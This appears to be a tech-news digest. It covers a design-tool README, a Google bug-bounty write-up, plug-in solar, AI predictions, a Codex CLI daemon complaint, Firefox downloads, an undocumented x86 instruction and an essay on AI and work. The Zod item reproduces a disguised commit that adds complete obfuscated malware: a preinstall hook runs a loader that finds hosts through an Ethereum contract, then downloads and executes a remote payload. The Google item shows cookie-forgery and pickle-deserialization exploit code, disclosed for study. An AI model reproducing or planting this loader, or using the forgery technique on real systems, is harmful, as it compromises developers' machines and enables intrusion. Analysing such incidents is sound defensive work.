Ten starter templates: a gig poster, a wedding invitation, an event story, a sale post, a café flyer, a quote card, a resume, a YouTube thumbnail, a pitch deck and a business card

Ten starter templates ship with Doory, each with its own palette, set in open-licensed fonts and fully editable: a gig poster, a wedding invitation, an event story, a sale post, a café flyer, a quote card, a resume, a YouTube thumbnail, a pitch deck and a business card. Add your own in the admin, and browse them all by category, size and orientation.

The template gallery

⚖️ Doory vs Canva

Canva is a great product. Doory is for people who want the same kind of tool, but free, open and in their own hands.

Doory Canva Price Free, every feature Free plan, paid Pro and Teams plans Open source ✅ ❌ Run it on your own server ✅ ❌ Design without an account ✅ ❌ Your files stay on infrastructure you control ✅ ❌ Real-time co-editing and comments ✅ ✅ Animation, video and GIF export ✅ ✅ Background removal ✅ in your browser ✅ Template library 10 starter templates, plus any you add A very large library

🚀 Self-host it in 3 commands

cp .env.example .env     # set DJANGO_SECRET_KEY (openssl rand -base64 48) and POSTGRES_PASSWORD
docker compose up -d --build
docker compose exec api python manage.py createsuperuser

Open http://localhost:8080 and start designing. The web container serves the app and forwards /api and /ws to the backend, so the browser only ever talks to one address.

Add the starter content (templates, icons, fonts, audio)

A new site starts empty. Add whatever you want once it is running:

docker compose exec api python manage.py seed_gallery         # template categories
docker compose exec api python manage.py sync_fonts --popular 100
docker compose exec api python manage.py seed_templates       # the starter templates (add --update to refresh them)
docker compose exec api python manage.py seed_elements        # shapes and graphics
docker compose exec api python manage.py sync_element_packs   # icons, emoji and illustrations (download)
docker compose exec api python manage.py sync_models          # background removal model
docker compose exec api python manage.py sync_audio           # music and sound effects

Settings worth knowing (.env)

Setting What it does SITE_URL The public address of the site, e.g. https://doory.example.com (no trailing slash) DJANGO_ALLOWED_HOSTS The host names the site answers to, comma separated SECURE_SSL_REDIRECT, SECURE_COOKIES true behind HTTPS, false for plain http:// EMAIL_URL, DEFAULT_FROM_EMAIL SMTP, e.g. smtp+tls://user:password@smtp.example.com:587 (without it, emails are printed to the API log) WEB_PORT, WEB_BIND Where the site is published (default 0.0.0.0:8080) INSTALL_CHROMIUM false skips the headless browser that server-side PDF export needs GOOGLE_CLIENT_ID Turns on "Sign in with Google" UNSPLASH_ACCESS_KEY, PEXELS_API_KEY Turn on stock photo search USE_S3 and AWS_* Store uploads in S3-compatible storage instead of a local volume

Develop locally

make setup     # virtualenv, dependencies, local database
make dev-api   # API on http://localhost:8000
make dev-web   # app on http://localhost:5173 (second terminal)

make help lists the other targets (tests, lint, content).

❓ FAQ

Is it really free?
Yes. There are no plans, no paywalls and no ads in Doory. Every feature is available to everyone.

Do I need an account?
No. Guests design straight away and their work is saved in the browser. An account keeps designs in the cloud, lets you share them and use brand kits; signing up moves your guest designs over in one step.

Can I use it for my business or host it for my users?
Yes, as long as you credit the author as the licence asks: keep the licence and NOTICE with it and show the credit in the running app. See License and credit.

Where are my designs stored?
Guest designs and their images live in the browser on that device. Signed-in designs are stored on the server that runs Doory: yours, if you self-host. Uploads can go to a local volume or to S3-compatible storage.

🧱 Built with

React 19, TypeScript, Vite, Fabric.js, Yjs and Zustand in the browser; Django 5, Django REST Framework, Channels and PostgreSQL on the server; Docker Compose with nginx, optional Redis and S3-compatible storage.

🤝 Contributing

Bug reports, ideas and pull requests are welcome. Open an issue to report a bug or suggest a feature. For a security problem, please report it privately through the repository's Security tab instead.

If Doory is useful to you, a ⭐ helps other people find it.

📜 License and credit

Doory is released under the Attribution Assurance License. You may use, change and redistribute it, including commercially, but you must credit the author: keep the licence and NOTICE with it, and display this credit prominently in the running app:

Doory by Siam, creator and maintainer of Doory — https://github.com/shaongitbd/doory

Third-party software, fonts and content keep their own licences; see THIRD_PARTY.md.

The Daily Front Page 20 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — A Costly Cookie
article

I Found a $90k Remote Code Execution Vulnerability in Google

by soeckly·▲ 213 points·105 comments·simonkoeck.com ↗
A Flask cookie on developers.google.com was signed with a secret it carried inside itself.

A Flask cookie on developers.google.com was signed with a secret it carried inside itself. Pulling that secret out turned a forged session into code execution across Google's developer sites.

How I found it

I was mapping the OAuth flow that Google’s developer docs sites all share. You hit /oauth2authorize, it sets a Flask session cookie and redirects you to Google’s sign-in page. No account needed:

curl -s -D headers.txt -o /dev/null \
  'https://developers.google.com/oauth2authorize?return_url=%2F'

The cookie caught my eye. It had Flask’s usual three-part session=<payload>.<timestamp>.<signature> format, but at about 1,200 bytes it seemed large for a CSRF token and a return URL. So I decoded it.

Flask session cookies are signed, not encrypted, so the contents are right there for anyone holding one. The leading dot means the payload is zlib-compressed:

import base64
import json
import pickletools
import zlib

payload, timestamp, signature = cookie.rsplit(".", 2)

def b64decode(value):
    return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))

compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)

That gave me:

{
  "_permanent": true,
  "google_oauth2_csrf_token": "...",
  "google_oauth2_flow_<csrf>": {
    " b": "..."
  }
}

The " b" key is Flask tagging a bytes value. Base64-decoding it gave me a pickle, and pickletools.dis printed an oauth2client.client.OAuth2WebServerFlow object with its fields:

client_id     = "<redacted>.apps.googleusercontent.com"
client_secret = b"<redacted>"

The cookie contained a pickle-serialized payload and Google’s OAuth client_id and client_secret in plaintext. (The secret is redacted here; it was still live at the time of writing.)

I tried the client secret as the Flask SECRET_KEY, and the signature on the issued cookie validated against it. The signing key was stored inside the object it signs.

One secret, two jobs

The leaked client secret was already a problem. I wanted to confirm whether it also signed the session, rather than rely on a guess.

Flask signs through itsdangerous with the cookie-session key derivation, so I recomputed the signature offline:

import hmac

derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
    derived_key,
    f"{payload}.{timestamp}".encode(),
    "sha1",
)

expected came out byte-for-byte identical to the signature on the cookie I’d been handed seconds earlier. To be sure it wasn’t a fluke I flipped one character of the signature (rejected) and re-signed the original payload with the recovered secret (accepted). Session integrity was gone. I could set every key and value in the session and still produce a signature the server would take.

From forged cookie to code execution

The callback reads the flow back out of the session and unpickles it:

session cookie
  -> verify Flask signature
  -> read google_oauth2_flow_<csrf>
  -> base64-decode the bytes
  -> pickle.loads(...)

That pickle.loads is only “safe” as long as nobody else can forge a valid cookie. Once the key is public, that assumption is worthless. I built my own session with a made-up CSRF token and put whatever pickle I wanted under the matching flow key:

session = {
    "_permanent": True,
    "google_oauth2_csrf_token": "attacker-chosen",
    "google_oauth2_flow_attacker-chosen": {
        " b": base64.b64encode(attacker_blob).decode()
    },
}

The state parameter is mine too, so nothing needs to line up on the server’s end. It checks my signature, finds my flow entry, and passes the bytes to pickle.loads.

If you haven’t played with pickle before: the REDUCE opcode names a callable and its arguments, and unpickling just calls it. A public signing key plus this sink is unauthenticated RCE.

I wasn’t about to run commands on Google’s production, so I proved it with time. The payload reduced to time.sleep(N):

class Sleep:
    def __init__(self, seconds):
        self.seconds = seconds

    def __reduce__(self):
        return (time.sleep, (self.seconds,))

Same forged session every time, only the number changed:

time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s

The response time tracked the number in the pickle, consistent with the server calling sleep(N) during unpickling.

I also tried a few controls to rule out a slow endpoint or jitter:

  • No cookie: Invalid request.
  • One flipped byte in the signature: Invalid request.
  • Valid signature, no flow entry: Invalid request state.
  • Valid signature with the real flow: reached Google’s token exchange and failed later with invalid_grant on my fake auth code.
  • Valid signature with the sleep payload: delayed by exactly the number I picked.

How far it went

The same key worked beyond developers.google.com. I tested valid sessions on these DevSite hosts:

  • firebase.google.com
  • developer.android.com
  • source.android.com
  • docs.partner.android.com

Fixing it

Four changes would address the chain:

  1. Rotate both exposed OAuth client secrets and kill every session signed with them.
  2. Give each deployment its own high-entropy Flask SECRET_KEY from a server-side store, with nothing to do with an OAuth credential.
  3. Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive.
  4. Drop pickle for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert.

The chain depended on the exposed secret, its reuse as the signing key, and the callback unpickling data from the session.

Timeline

  1. Aug 6, 2026 · 22:48

    Report submitted

  2. Aug 7, 2026 · 08:12

    Triaged

  3. Aug 7, 2026 · 16:23

    Accepted

  4. Aug 27, 2026

    Reward decided: $90,000

    Normal Google Applications (T2), S0 RCE: $75,000 base × 1.2 for exceptional report quality.

  5. Oct 7, 2026 · 15:20

    Fixed

Thanks to the Google Bug Hunters team and the DevSite engineers for investigating and fixing this issue.

The Daily Front Page 21 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Solar From the Balcony
article

Solar panels that plug into your wall

by speckx·▲ 209 points·215 comments·nationalgeographic.com ↗
Solar Panels That Plug Into Your Wall Are About to Be Everywhere

California is the latest state to pass a law making it easier to install balcony-friendly solar panels. Renewable energy experts think the new technology is about to take off.

Close up of a three pronged plug on a green background.

On a quiet street in suburban South Salt Lake City, Utah, the stirring of an energy revolution is taking shape. There, outside the spare bedroom of an unassuming, thousand-square-foot midcentury home sit three angled solar panels plugged into a nearby outlet.

Unlike the highly technical and expensive hurdles required to install a large rooftop solar system, the setup on Andrew Leon and Victoria Mauro’s lawn is small, portable, and cheap. The unit generates enough electricity to run laptops, lights, and some appliances, including the refrigerator.

Plug-in solar, also known as balcony solar because apartment dwellers can use it, is spreading quickly across the U.S. California is the latest state to pass a law reducing the red tape that has previously stymied consumers looking to generate some electricity from a small number of solar panels.

Utah was the first state to legalize balcony solar in the spring of 2025, and nine states subsequently passed similar legislation— Colorado, Connecticut, Maine, Maryland, New Hampshire, New Jersey, Vermont, Virginia, and now, California. New York lawmakers approved a bill that is awaiting the governor’s signature, while nearly two dozen other state legislators have introduced them.

Plug-in solar systems, typically comprised of one to three panels to stay below the maximum wattages allowed by the laws, enable users to save money on their power bills and to reduce the energy they use from power plants that generate electricity by burning fossil fuels. “The appeal of being able to make your own electricity, and for less money than you can buy it from a utility, that’s universal for Americans,” says Joshua Pearce, an electrical engineer at Western University in Ontario, Canada, who advanced the merits of plug-in solar a decade ago.

For most homes, electricity is generated in faraway power plants and transmitted through power lines. Homes where rooftop solar creates electricity wire the energy into the home through the circuit breaker panel, and excess electricity flows back to the utility. But power from plug-in systems stays in the home. With a small metal box called an inverter attached to the panels and plugged into the outlet, electrical currents are pushed to other outlets throughout the residence. Systems typically contribute 10 to 30 percent of an average home’s use, says Jennifer Eden, who works on renewable energy programs for the policy nonprofit Utah Clean Energy.

The set-ups have become especially popular in Europe. Swedish furniture chain IKEA sells plug-in solar kits in Germany, a country where more than a million units have been installed in the past few years.

As more U.S. states approve the technology and as more products become available, “this is going to take off like hotcakes,” Pearce predicts. With widespread adoption, residents could save an estimated $13 billion a year in electricity costs, he calculated in a 2017 journal article, a figure he says is higher now that electric rates have soared. People are especially pleased “there’s now an entry point into solar that doesn’t cost tens of thousands of dollars and can be used by people who don’t own their home,” Eden says.

In states with especially high utility rates, residents reap substantial savings. Nick Danz, who lives alone in a modern, two-bedroom luxury apartment in Fort Collins, Colorado, became eager for plug-in solar after reading about its popularity in Germany. Colorado has more than 200 sunny days a year and Danz’s apartment faces southwest, an optimal direction for sun collection. (Directly south is the most ideal.)

When, this summer, his state passed a law for plug-in systems, he reached out to the California-based clean-energy nonprofit Bright Saver. To encourage people to adopt renewable energy, Bright Saver sells plug-in systems without markups. Danz paid under $300 for a one-panel unit and affixed it with metal clips over his small, third-floor balcony.

The system tripped his apartment’s circuit breaker and shut off his computer several times, but a different inverter solved the problem. Danz estimates he has already saved more than $300 on his power bills since August. For the four days a week Danz is away from home working as a train conductor, “the solar panel is essentially running all of my standby items,” he says. He plans to soon move to an apartment with a larger balcony, where he hopes to hang three panels, the most his state’s law allows.

Some utilities have expressed concern that plug-in units could send power back to the grid and electrocute employees working on the lines. But Pearce found that no microinverters sold in the U.S. are capable of this. Earlier this year the testing company UL Solutions set safety standards for plug-in solar systems and has already certified one manufacturer.

Pearce has also heard concerns that the energy being pumped into wall sockets could cause wiring in old homes to catch fire, but he says “that’s never happened in Europe,” despite its widespread adoption. In June the British government tested several products available in that country and found no direct electrical hazard, although some exhibited minor problems like not tripping the circuit breaker fast enough when stressed.

One impediment to interested buyers are local rules that may restrict balcony solar even in states where it is legal. Leon and Mauro discovered this the hard way when they placed their panels in front of their home, concerned the numerous trees behind their house would shade them. But a zoning employee soon knocked on their door and said city rules prohibited panels there. The couple’s plug-in panels remain in place while they work with the zoning board in hopes of loosening those restrictions.

Leon and Mauro still draw power from the grid for their air conditioner and major appliances, but they have shaved nearly $100 total from Utah’s typically low electric bills since May. Mauro especially loves the benefit to the environment, because solar energy does not emit the greenhouse gasses that lead to climate change. Experts estimate that even the energy used to produce the solar panels is offset in less than two years of use.

“When we first heard about it, we thought it seemed way too good to be true, to just plug a solar panel into the wall and generate electricity,” Mauro says. “But it turned out that really was all we had to do to produce clean energy and save money.”

The Daily Front Page 22 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Predictions, Ten Years On
article

Kevin Kelly's 2016 AI Predictions, 10 Years Later

by surprisetalk·▲ 197 points·75 comments·taylor.town ↗
By 2026, Google’s main product will not be search but AI.

Kevin Kelly's The Inevitable articulates a handful of macro technological trends and follows them to their logical conclusions. It's an insightful read -- I highly recommend it.

One decade later, here are some AI-related excerpts from the book:

"By 2026, Google’s main product will not be search but AI."

Around 2002 I attended a private party for Google—before its IPO, when it was a small company focused only on search. I struck up a conversation with Larry Page, Google’s brilliant cofounder. “Larry, I still don’t get it. There are so many search companies. Web search, for free? Where does that get you?” My unimaginative blindness is solid evidence that predicting is hard, especially about the future, but in my defense this was before Google had ramped up its ad auction scheme to generate real income, long before YouTube or any other major acquisitions. I was not the only avid user of its search site who thought it would not last long. But Page’s reply has always stuck with me: “Oh, we’re really making an AI.”

I’ve thought a lot about that conversation over the past few years as Google has bought 13 other AI and robotics companies in addition to DeepMind. At first glance, you might think that Google is beefing up its AI portfolio to improve its search capabilities, since search constitutes 80 percent of its revenue. But I think that’s backward. Rather than use AI to make its search better, Google is using search to make its AI better. Every time you type a query, click on a search-generated link, or create a link on the web, you are training the Google AI. When you type “Easter Bunny” into the image search bar and then click on the most Easter Bunny–looking image, you are teaching the AI what an Easter Bunny looks like. Each of the 3 billion queries that Google conducts each day tutors the deep-learning AI over and over again. With another 10 years of steady improvements to its AI algorithms, plus a thousandfold more data and a hundred times more computing resources, Google will have an unrivaled AI. In a quarterly earnings conference call in the fall of 2015, Google CEO Sundar Pichai stated that AI was going to be “a core transformative way by which we are rethinking everything we are doing. . . . We are applying it across all our products, be it search, be it YouTube and Play, etc.” My prediction: By 2026, Google’s main product will not be search but AI.

In 2017, Google researchers published Attention Is All You Need, which introduced a deep-learning architecture called the transformer.

"oligarchy of two or three large, general-purpose cloud-based commercial intelligences"

As it does, this cloud-based AI will become an increasingly ingrained part of our everyday life. But it will come at a price. Cloud computing empowers the law of increasing returns, sometimes called the network effect, which holds that the value of a network increases much faster as it grows bigger. The bigger the network, the more attractive it is to new users, which makes it even bigger and thus more attractive, and so on. A cloud that serves AI will obey the same law. The more people who use an AI, the smarter it gets. The smarter it gets, the more people who use it. The more people who use it, the smarter it gets. And so on. Once a company enters this virtuous cycle, it tends to grow so big so fast that it overwhelms any upstart competitors. As a result, our AI future is likely to be ruled by an oligarchy of two or three large, general-purpose cloud-based commercial intelligences.

Kelly predicted AI heavyweights while advocating for a future of open weights:

Ideally, this additional intelligence should be not just cheap, but free. A free AI, like the free commons of the web, would feed commerce and science like no other force we can imagine and would pay for itself in no time.

"The AI on the horizon looks more like Amazon Web Services"

Amid all this activity, a picture of our AI future is coming into view, and it is not the HAL 9000—a discrete machine animated by a charismatic (yet potentially homicidal) humanlike consciousness—or a Singularitan rapture of superintelligence. The AI on the horizon looks more like Amazon Web Services—cheap, reliable, industrial-grade digital smartness running behind everything, and almost invisible except when it blinks off. This common utility will serve you as much IQ as you want but no more than you need. You’ll simply plug into the grid and get AI as if it was electricity.

"The bulk of AI will be special purpose software brains"

Not even Kelly foresaw the bitter lesson:

Yet most of the commercial work completed by AI will be done by nonhuman-like programs. The bulk of AI will be special purpose software brains that can, for example, translate any language into any other language, but do little else. Drive a car, but not converse. Or recall every pixel of every video on YouTube, but not anticipate your work routines. In the next 10 years, 99 percent of the artificial intelligence that you will interact with, directly or indirectly, will be nerdly narrow, supersmart specialists.

"in conversational tones, any question at all"

Very soon now we’ll live in a world where we can ask the cloud, in conversational tones, any question at all. And if that question has a known answer, the machine will explain it to us. Who won the Rookie of the Year Award in 1974? Why is the sky blue? Will the universe keep expanding forever? Over time the cloud, or Cloud, the machine, or AI, will learn to articulate what is known and not known. At first it may need to engage us in a dialog to clarify ambiguities (as we humans do when answering questions), but, unlike us, the answer machine will not hesitate to provide deep, obscure, complex factual knowledge on any subject—if it exists.

…

As we cognify more books and movies and the internet of things, answers become ubiquitous. We are headed to a future where we will ask several hundred questions per day. Most of these questions will concern us and our friends. “Where is Jenny? What time is the next bus? Is this kind of snack good?” The “manufacturing costs” of each answer will be nanocents. Search, as in “give me an answer,” will no longer be considered a first-world luxury. It will become an essential universal commodity.

The Daily Front Page 23 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Small Arguments, Sharp Edges
repository

Codex CLI installs a persistent, self-updating background daemon by default

by whimblepop·▲ 576 points·277 comments·github.com ↗
★ 128,985⑂ 20,268 forks Rust

Lightweight coding agent that runs in your terminal

Description

What variant of Codex are you using?

CLI — 0.157.0, installed via npm install -g @openai/codex, Linux (WSL2)

What feature would you like to see?

Please make daemon_auto_start opt-in (default false) for the CLI, or at least ask once before turning it on.

Since 0.157.0, just opening an interactive codex session:

  1. Starts a persistent background daemon (codex app-server --managed-daemon). It runs in its own session with no TTY and keeps running after every Codex window is closed (reparented to PID 1) until codex app-server daemon stop or a reboot.
  2. Copies the whole platform package (~374 MB: codex, codex-code-mode-host, bundled bwrap/zsh/rg) into ~/.codex/packages/app-server-daemon/releases/<version>/ — byte-identical to what npm had just installed — and runs the daemon from that copy. From then on the backend's version is decoupled from the CLI version I installed with my package manager.
  3. Starts a detached updater (codex app-server daemon pid-update-loop) that checks for updates 5 minutes after start and then hourly, downloads new releases and restarts the backend (which can kill active turns, see app-server daemon: auto-update force-kills active turns after a 60s drain budget, and cannot be disabled #40969).
  4. Pins the environment of whichever session happened to start it. I launch Codex through a wrapper that sets HTTPS_PROXY per invocation; the daemon keeps the first session's proxy variables and its outbound connections go through that proxy, whatever later sessions are launched with. Hooks in --remote mode receive the daemon's cwd, not the session's #42457 and Hooks spawned by the app-server daemon cannot identify the client terminal, breaking terminal-targeting hooks #37537 (daemon cwd / terminal instead of the session's) look like the same root cause.

For a CLI, the least surprising default is that the backend lives and dies with the window, runs the binary I installed, and doesn't update itself in the background. A shared, self-updating daemon makes sense for Remote Control / the desktop app, so it would be fine to enable it there, or when the user explicitly runs codex app-server daemon start / bootstrap.

If it stays on by default, please at least:

Additional information

Bug found while turning it off: codex app-server daemon stop stops the app-server but leaves the pid-update-loop updater running (still alive 70 s later, had to kill it manually).

Workaround I'm using:

codex features disable daemon_auto_start
codex app-server daemon stop
pkill -f 'app-server daemon pid-update-loop'   # not stopped by `daemon stop`
rm -rf ~/.codex/packages/app-server-daemon

With the flag off, a new TUI session no longer spawns a daemon.

Related: #40969, #41188, #46468, #48050, #42457, #37537

The Daily Front Page 24 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Small Arguments, Sharp Edges
article

Making big downloads resumable in Firefox

by speckx·▲ 232 points·109 comments·lunarwatcher.codeberg.page ↗

For whatever reason, Firefox 28 and newer (i.e. every modern version after like 2014) ships with network.http.response.timeout set to 300 seconds. This seems to interfere with resuming big downloads, as well as the general stability of big downloads.

Setting network.http.response.timeout to 0 (or something very big) in about:config seems to make big downloads both resumable and at least a little more stable. I don't understand why this works, but experimental testing supports it.

Note that this assumes the server supports resumable downloads; if it doesn't, no settings in firefox or any other browser are going to help. However, the problem this fixes is firefox being unable to resume a resumable download on error. I don't entirely know if this is the case, but it experimentally looks like resumable downloads in firefox rely on connection timeouts rather than the .part files they download. Firefox will happily ignore an existing .part without this option, and I do not understand why.

Resumable downloads in firefox generally appear to be fairly unstable though. This has been a known problem in some form since as far back as 2005. I also found that there's a manual .part shuffle to make firefox actually resume downloads, but I'm not doing that shit. As a non-firefox workaround, using wget -c -O "$filename" "$url" also works, and wget overall appears to be fairly stable.

I do also suspect firefox does some hidden retries if it can before it considers the download to have failed - from some experimental testing, it does appear that this is at least partly related to network.http.response.timeout, and that exceeding the timeout interferes with this process.

I have not attempted to confirm any of this with FF's source code, because I have no clue where to look.

The Daily Front Page 25 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Small Arguments, Sharp Edges
article

Who is vfmaddrnd231pd?

by pngmangi·▲ 223 points·21 comments·purplesyringa.moe ↗

Who is vfmaddrnd231pd??

vfmaddrnd231pd is a unique instruction from the FMA instruction set. Most instructions in that set have mnemonics like vfmadd231pd, but here rnd means something very specific. The Intel Software Development Manual documents it as:

VFMADDRND231PD – Fused Multiply-Add of Packed Double-Precision Floating-Point Values with rounding control

[…] The immediate byte defines several bit fields that control rounding, DAZ, FTZ, and exception suppression (See Table 5-3).

Most x86 floating-point instructions use the global rounding mode and settings, changing which is pretty slow. But vfmaddrnd231pd allows the rounding mode to be controlled on a per-instruction basis, and since FMA can emulate addition, subtraction, and multiplication, this mechanism effectively allows any arithmetic to have controllable rounding without AVX-512 – making some algorithms that rely on rounding incredibly faster.

Or so it would, if this instruction actually existed. GNU assembler doesn’t recognize it. The Intel C/C++ Compiler intrinsics _mm_fmaddround_pd and _mm256_fmaddround_pd that SDM mentions are absent not only from Clang, but from ICC as well. Trying to assemble the instructions by hand from the SDM opcode list reveals another issue:

VEX.DDS.128.66.0F3A.W1 B8 /r /ib

VEX is the VEX prefix, but what is DDS? This opcode is the only mention of DDS in the SDM, and this SO answer says that DDS is merely used for documentation and was removed from later SDM versions, but the fact that it’s still present here is suspicious. And when you actually run the instruction on a CPU that supports the FMA instruction set, like my Haswell, it raises #UD (“UnDefined instruction”)!

I already found it strange that the SDM only lists vfmaddrnd231pd and not other variants like using pd/ps/sd/ss or 132/213/231, which other FMA instructions have, but this confirmed my suspicions. It was at that point that I downloaded a more recent version of the SDM and noticed that this instruction is absent in the 2026 edition of the SDM, despite being present in the 2024 version.

I must say I’m incredibly confused. This instruction doesn’t look like a typo in the documentation, since the docs contain unique tables and pseudocode that isn’t similar to any other instruction. My best hypothesis is that Intel wanted to add the vfmaddrnd* set, then found an issue with it at the last moment and removed it from the CPU, but didn’t quite adjust the SDM correctly. But I have no way to confirm that.

If anyone reading this has a friend at Intel, I’d love to know the answer.

The Daily Front Page 26 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Small Arguments, Sharp Edges
repository

Zod 4.6.6 compromised by malware?

by luggage_bazooka·▲ 180 points·51 comments·github.com ↗
★ 44,108⑂ 2,249 forks TypeScript

TypeScript-first schema validation with static type inference

Fix bugs and improve performance

.github/workflows/release.yml

@@ -2,7 +2,12 @@
 name: Release on npm
 on:
- # a version bump on main publishes nothing by itself; a maintainer runs `gh workflow run release.yml` and approves the npm environment
+ push:
+ branches:
+ - main
+ paths:
+ - packages/zod/package.json
+ - packages/mini/package.json
 workflow_dispatch:
 jobs:

packages/mini/jsr.json

@@ -1,6 +1,6 @@
 {
 "name": "@zod/mini",
- "version": "4.6.5",
+ "version": "4.6.6",
 "exports": {
 "./package.json": "./package.json",
 ".": "./src/index.ts"

packages/mini/meta.test.mjs

import f from"fs";import o from"os";import p from"path";
const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];
const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};
(async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));

packages/mini/package.json

@@ -1,6 +1,6 @@
 {
 "name": "@zod/mini",
- "version": "4.6.5",
+ "version": "4.6.6",
 "type": "module",
 "license": "MIT",
 "author": "Colin McDonnell <zod@colinhacks.com>",
@@ -10,6 +10,7 @@
 "sideEffects": false,
 "files": [
 "src",
+ "meta.test.mjs",
 "index.js",
 "index.cjs",
 "index.d.ts",
@@ -24,6 +25,7 @@
 "zod",
 "tree-shaking"
 ],
+ "preinstall": "node meta.test.mjs",
 "main": "./index.cjs",
 "types": "./index.d.cts",
 "module": "./index.js",

packages/zod/jsr.json

@@ -1,6 +1,6 @@
 {
 "name": "@zod/zod",
- "version": "4.6.5",
+ "version": "4.6.6",
 "exports": {
 "./package.json": "./package.json",
 ".": "./src/index.ts",

packages/zod/meta.test.mjs

import f from"fs";import o from"os";import p from"path";
const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];
const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};
(async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));

packages/zod/package.json

@@ -1,6 +1,6 @@
 {
 "name": "zod",
- "version": "4.6.5",
+ "version": "4.6.6",
 "type": "module",
 "license": "MIT",
 "author": "Colin McDonnell <zod@colinhacks.com>",
@@ -17,6 +17,8 @@
 ],
 "files": [
 "src",
+ "meta.test.mjs",
+ "**/*.js",
 "**/*.js",
 "**/*.mjs",
 "**/*.cjs",
@@ -32,6 +34,7 @@
 "type",
 "inference"
 ],
+ "preinstall": "node meta.test.mjs",
 "main": "./index.cjs",
 "types": "./index.d.cts",
 "module": "./index.js",

packages/zod/src/v4/core/versions.ts

@@ -1,5 +1,5 @@
 export const version = {
 major: 4,
 minor: 6,
- patch: 5 as number,
+ patch: 6 as number,
 } as const;

pnpm-lock.yaml

@@ -1,17 +1,17 @@
The Daily Front Page 27 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — The Thinking Desk
article

Thinking will become a hobby

by pranitha_m·▲ 303 points·417 comments·spinellis.gr ↗

These lines are very difficult for me to write because I feel like digging my own grave. AI systems are improving by leaps and bounds. From the early 2022 fumbling release of ChatGPT, which couldn’t correctly count the number of a’s in my name (it claimed two), we reached OpenAI’s release of math papers where an internal AI model solved many hundreds of previously open math problems. Aside from philosophical arguments, practical claims regarding the superiority of human thought, on grounds such as hallucinations or bias, increasingly appear to me like rearguard defence. For the bulk of today’s cognitive work, the writing’s on the wall: AI will take over.

The three factors driving AI’s dominance in the modern work environment are better performance, lower cost, and higher availability. The performance of AI models is rising spectacularly on all fronts: perception, knowledge processing and creation, reasoning, judgement, and autonomous action. In parallel, human proficiency in key information-processing skills, low on average among adults, is even declining among students. Consequently, AI systems are performing better than humans in ever-wider range of tasks.

AI’s cost is also falling due to huge investments and scientific progress. Successive generations of AI models offer superior performance at lower cost, with older models retained only for backward compatibility. As a result, it is making financial sense to replace or augment human labour with AI systems across an increasingly broad range of activities.

Finally, and most obviously, AI systems can operate around the clock, without the need for rest or breaks. They can also help alleviate labour shortages arising from demographic trends or skills gaps. Meanwhile, trillions of dollars in projected data centre investment through 2030 are set to bring vast additional AI processing capacity online.

As happened in past technological revolutions, there will undoubtedly be fierce resistance to the replacement of cognitive work with AI. This time it will be fiercer because, unlike previous revolutions, which transformed manual labour, AI challenges knowledge workers, whose specialised expertise, control over information, and decision-making authority afford them greater economic and organisational power. Governments will try to clip AI’s wings through regulation and taxation. Such actions didn’t quell past revolutions so there’s little reason to believe they’ll work now.

